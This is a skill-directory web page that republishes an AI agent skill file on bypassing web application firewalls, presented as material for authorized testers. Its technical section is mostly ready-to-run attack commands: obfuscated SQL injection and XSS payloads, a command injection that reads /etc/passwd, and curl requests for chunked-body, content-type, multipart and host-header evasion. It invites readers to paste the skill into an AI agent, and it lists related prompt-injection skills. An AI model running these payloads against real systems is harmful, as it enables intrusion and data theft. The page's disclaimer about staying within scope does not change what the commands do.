waf-bypass
What it does
This guide covers how security testers check whether a web application firewall blocks what it should. It is for authorized testers who need to confirm a firewall's coverage within the rules the program allows.
When to use it
- βWhen an authorized test needs to identify which web application firewall protects a site.
- βWhen you want to check whether a firewall rule set misses obvious variations of a known attack.
- βWhen a program sets rate limits or tester headers that must be respected during a firewall review.
Skill link
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/waf-bypass/SKILL.mdCopy it and paste it into your AI (Claude, ChatGPT or Cursor), asking it to follow the instructions.
How to use
The easiest way: copy the message and paste it into your AI. It reads the skill and follows the instructions.
Ready-to-paste message
For Claude Code, Codex or Cursor: run it in your project folder and the skill gets installed.
Download the SKILL.md and drop it into your agentβs skills folder.
Example of what to ask your AI
βOur site sits behind a web application firewall. Can you identify which one it is and check whether its rules have obvious gaps, within our test scope?β
5 new skills a week. 1 minute to read.
How it works
The agent first identifies the firewall and the layers around the app, then tests how consistently those layers handle requests, staying within the agreed limits.
Technical content (original SKILL.md)
Original text by the author, straight from GitHub.
WAF Bypass / Evasion
A WAF is a signature + score engine in front of the origin. Bypass goals: (a) deliver a payload the rule set does not match, (b) reach the origin directly so the WAF is out of band, or (c) keep request rate / anomaly score under thresholds while exfiltrating. OPSEC: this skill is for authorized scope. Stay within rate limits the program allows; never test live customer flows; mark traffic with a researcher header where the program asks for it (X-Bug-Bounty: <HANDLE>).
1. Recon first β fingerprint the WAF
See skills/standard/recon/web-recon/waf-detection/SKILL.md. Without a fingerprint you are guessing. Quick:
wafw00f -a "https://<TARGET>"
curl -sI "https://<TARGET>/?id=1' OR '1'='1" | grep -iE 'server|cf-ray|x-amzn|akamai|x-sucuri|x-cdn|set-cookie'
nuclei -u "https://<TARGET>" -t http/technologies/waf-detect.yaml
Note the stack: WAF vendor, CDN, origin web server, application framework. Each layer has its own parser β bypasses live in the gaps.
2. Payload obfuscation
| Layer | Technique | Example |
|---|---|---|
| Case | Mixed case on keywords (most modern WAFs are case-insensitive β try anyway) | SeLeCt, uNiOn |
| Whitespace | Tab, FF, CR, LF, /**/, +, %a0, %0b, %0c between tokens |
UNION/**/SELECT, UNION%a0SELECT |
| Comments | Inline SQL comments split keywords | UN/**/ION, SEL/*!50000*/ECT (MySQL versioned) |
| Encoding | URL-encode, double-URL-encode, unicode, HTML entity, base64 | %2527, %u0027, ', \x27, \u0027 |
| Mixed encoding | Encode only the bytes the rule looks for | '%20OR%201=1-- β %27 OR 1%3D1-- |
| Alternate syntax (SQL) | UNION-less extraction via boolean/blind, ` |
|
| Alternate syntax (XSS) | Tagless / event-less / template / SVG / MathML | <svg/onload=alert(1)>, <details/open/ontoggle=alert(1)>, <style>@import"//x"</style> |
| String concat | Break signatures into pieces | '+'al'+'ert'+'(1)+', concat(0x61,0x64,0x6d,0x69,0x6e) |
| Backtick / quote variants | `select`, "select", [select] (MSSQL), N'admin' |
|
| Null bytes | %00 early-terminates many string ops in C-backed parsers |
admin%00.png |
| Charset | Submit body in unusual charset; WAF inspects as UTF-8 but app decodes UTF-16 | Content-Type: ...; charset=utf-16le |
| Path normalization | ..;/, ..%2f, ..%252f, ;/, // between segments |
/admin..;/users |
# SQLi rule bypass β split UNION SELECT
PAYLOAD="-1'/*!50000UnIoN*/(/*!50000SeLeCt*/(group_concat(table_name))FROM(information_schema.tables))-- -"
curl -sk -G "https://<TARGET>/search" --data-urlencode "q=$PAYLOAD"
# XSS rule bypass β no parens, no "alert"
curl -sk -G "https://<TARGET>/echo" --data-urlencode 'q=<svg/onload=eval(name)>'
# Cmd-injection rule bypass β IFS for spaces, brace expansion, $@
curl -sk "https://<TARGET>/ping?host=127.0.0.1\${IFS}\$@cat\${IFS}/etc/passwd"
3. HTTP-level evasion
Bypasses that exploit parser differences between WAF and origin.
# 3.1 Chunked transfer β WAF disables inspection on chunked bodies (still common)
curl -sk -X POST "https://<TARGET>/login" \
-H 'Transfer-Encoding: chunked' -H 'Content-Type: application/x-www-form-urlencoded' \
--data-binary $'1d\r\nusername=admin\'+OR+1=1--\r\n0\r\n\r\n'
# 3.2 Content-Type confusion β WAF parses as form, app parses as JSON (or vice versa)
curl -sk -X POST "https://<TARGET>/api/login" \
-H 'Content-Type: text/plain' \
--data '{"user":"admin\" OR 1=1--","pass":"x"}'
# 3.3 Multipart smuggling β payload hidden in a part the WAF does not inspect
curl -sk -X POST "https://<TARGET>/upload" \
-F 'file=@evil.php;type=image/png' \
-F 'meta={"role":"admin"};type=application/json'
# 3.4 charset= trick (UTF-7, UTF-16, IBM037)
curl -sk -X POST "https://<TARGET>/api" \
-H 'Content-Type: application/json; charset=ibm037' \
--data-binary @ibm037-payload.bin
# 3.5 Host-header / SNI mismatch (origin trusts internal Host, WAF inspects external)
curl -sk --resolve "internal-admin:443:$ORIGIN_IP" \
-H 'Host: internal-admin' "https://internal-admin/admin"
# 3.6 HTTP/2 β HTTP/1 downgrade smuggling (paired with smuggling skill)
# See skills/standard/exploit/web/smuggling/SKILL.md
# 3.7 Pseudo-header injection in HTTP/2 (h2c upgrade, :path tricks)
curl -sk --http2-prior-knowledge "https://<TARGET>/" \
-H ':path: /admin/../public' -i
# 3.8 Param pollution β WAF inspects firs
FAQ
Why fingerprint the firewall first?
The guide says the right checks depend on the firewall vendor and stack, so guessing wastes time.
Does it cover rate limits?
Yes. It says testers should stay within the program's rate limits and avoid live customer flows.
Are tester headers needed?
Where a program asks for a researcher header, the guide says to include it.
Details
Original description by the author
WAF evasion β payload obfuscation, HTTP-level evasion, origin-IP discovery, rate/anomaly evasion, per-WAF notes (Cloudflare/Akamai/AWS WAF/ModSecurity).
Popularity
- GitHub stars
- 6.5k
- Ranking position
- #14084
- License
- Apache-2.0
- Updated
- 11/1/2026
Comments
- β¦
More skills from this repository
detector-overview
6.5kHelps your agent read code that a scanner flagged and decide which flagged spots are real security bugs and which are false alarms.
exploiter-overview
6.5kHelps your agent join several confirmed security weaknesses into one test chain and check how far that chain could reach.
llm-redteam-overview
6.5kHelps your agent find the right AI red-team guide for a test, covering 15 tactic groups from prompt injection to model abuse.
aatmf-t01-prompt-injection
6.5kExplains prompt injection, where hidden instructions try to override an AI system, so security testers can check for it.
Similar skills
reverse-engineer-anything
422kHelps your agent look inside shipped apps and packages to explain features, compare versions, or guide a rebuild, using the REA tool.
1password
394kHelps your agent set up the 1Password CLI, sign in, and read or inject secrets without printing their values into chat.
healthcheck
394kHelps your agent audit the computer or server that runs OpenClaw for security risks, such as SSH, firewall, updates, and backups, then suggest safe fixes.